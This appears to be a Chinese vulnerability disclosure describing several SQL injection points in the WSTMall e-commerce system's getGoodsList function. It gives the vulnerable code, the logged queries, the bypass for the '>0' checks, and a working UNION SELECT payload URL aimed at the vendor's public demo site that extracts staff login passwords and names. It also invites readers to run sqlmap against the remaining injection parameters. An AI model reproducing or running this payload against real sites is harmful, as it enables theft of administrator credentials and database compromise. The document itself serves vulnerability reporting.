简要描述：

同一个文件。

详细说明：

漏洞文件:
/apps/home/model/goodsmodel.class.php 

public function getGoodsList($obj){
		$areaId2 = $obj["areaId2"];
		$areaId3 = $obj["areaId3"];

注入点都标在上面了。有几个条件是必须大于0的，所以提交1test这样就能过了。这里就不说为什么了！
下面我们来看看进库时候两条sql语句长什么样子：
2015/8/17 17:42 select count(*) counts from (SELECT g.goodsId,goodsSn,goodsName,goodsThums,goodsStock,g.saleCount,p.shopId,marketPrice,shopPrice,ga.id goodsAttrId
FROM wst_goods g left join wst_goods_attributes ga on g.goodsId=ga.goodsId and ga.isRecomm=1, wst_shops p , wst_shops_communitys sc , wst_brands bd WHERE p.areaId2 = 440100 AND g.shopId = p.shopId AND g.goodsStatus=1 AND g.goodsFlag = 1 and g.isSale=1 AND sc.shopId=p.shopId AND sc.communityId = 1test AND bd.brandId=g.brandId AND g.brandId = 1test AND g.goodsCatId1 = 1test' AND g.goodsCatId2 = 1test AND g.goodsCatId3 = 1test AND g.goodsName LIKE '%test%' ORDER BY g.saleCount DESC ) as a
这是前面6处的
最后一处也是
$sql = "SELECT b.brandId, b.brandName FROM wst_brands b, wst_goods_cat_brands cb WHERE b.brandId = cb.brandId AND b.brandFlag=1 ";
if($c1Id>0){
$sql .= " AND cb.catId = $c1Id";
}
$c1Id>0就给过了。
2015/8/17 17:42 SELECT b.brandId, b.brandName FROM wst_brands b, wst_goods_cat_brands cb WHERE b.brandId = cb.brandId AND b.brandFlag=1 AND cb.catId = 1test' GROUP BY b.brandId
给出提交时候的url：
http://localhost/index.php/home/goods/getgoodslist/?c1Id=1test'&c2Id=1test&c3Id=1test&communityId=1test&brandId=1test&keyWords=test

漏洞证明：

接下来是演示sql注入，当然实际利用的时候用不着这么多处sql注入的。
我们来两处sql注入演示一下就好了：

其余5处我就不测试了，你们可以用sqlmap跑一下，无非换一个参数而已。。
最后一处的sql注入是这样：
先来payload：
http://demo.wstmall.com/index.php/home/goods/getgoodslist/?c1Id=1 UNION ALL SELECT (SELECT CONCAT(0x7c,IFNULL(CAST(loginPwd AS CHAR),0x20),0x7c,IFNULL(CAST(staffName AS CHAR),0x20),0x7c) FROM wstmall.wst_staffs LIMIT 1),NULL--&c2Id=1&c3Id=1&communityId=1&brandId=1&keyWords=222
然后给个图片也是demo演示的:
